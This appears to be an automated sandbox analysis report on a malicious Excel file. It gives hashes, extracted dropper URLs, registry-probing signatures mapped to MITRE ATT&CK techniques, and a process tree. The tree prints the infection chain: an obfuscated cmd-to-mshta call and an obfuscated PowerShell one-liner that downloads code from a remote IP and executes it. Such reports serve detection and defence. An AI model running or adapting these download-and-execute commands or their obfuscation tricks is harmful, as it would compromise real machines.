4a4ee3f8e96ff14a83d4f61b0c94a52dab1ed3a0bcd3d588cfc52606df19d1d4

General

Target
c489ae0c647f3e828ee9d0db0f015252.xls
Size 142KB
Sample220120-rx6ensachk
SHA256 4a4ee3f8e96ff14a83d4f61b0c94a52dab1ed3a0bcd3d588cfc52606df19d1d4
MD5 c489ae0c647f3e828ee9d0db0f015252
SHA1 47c00172666c6219a694b7837c423904de9cbbc7
SHA512 81ad331cd0c2a1ce73eaee7034623ca44785fc498252e330ce0d62ce693ad62b7e6f7477a39a5bbbf8fe7d16f1fcb104df334996e0b36f329a63dff0fbdb6d27
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3328	4048	cmd.exe	53

Blocklisted process makes network request 1 IoCs

flow	pid	Process
30	388	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4048	EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4048 wrote to memory of 1368	4048	EXCEL.EXE	61
PID 4048 wrote to memory of 1368	4048	EXCEL.EXE	61
PID 4048 wrote to memory of 3328	4048	EXCEL.EXE	63
PID 4048 wrote to memory of 3328	4048	EXCEL.EXE	63
PID 3328 wrote to memory of 388	3328	cmd.exe	65
PID 3328 wrote to memory of 388	3328	cmd.exe	65
PID 388 wrote to memory of 4084	388	mshta.exe	67
PID 388 wrote to memory of 4084	388	mshta.exe	67

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c489ae0c647f3e828ee9d0db0f015252.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4048
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1368
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3328
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:388
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:4084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:4064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3392

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 428 -p 388 -ip 388
1⤵
PID:2172

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4048-133-0x00007FFE4D530000-0x00007FFE4D540000-memory.dmp

Download

memory/4048-135-0x00007FFE4D530000-0x00007FFE4D540000-memory.dmp

Download

memory/4048-134-0x00007FFE4D530000-0x00007FFE4D540000-memory.dmp

Download

memory/4048-136-0x00007FFE4D530000-0x00007FFE4D540000-memory.dmp

Download

memory/4048-137-0x00007FFE4D530000-0x00007FFE4D540000-memory.dmp

Download

memory/4048-140-0x00007FFE4AEC0000-0x00007FFE4AED0000-memory.dmp

Download

memory/4048-141-0x00007FFE4AEC0000-0x00007FFE4AED0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads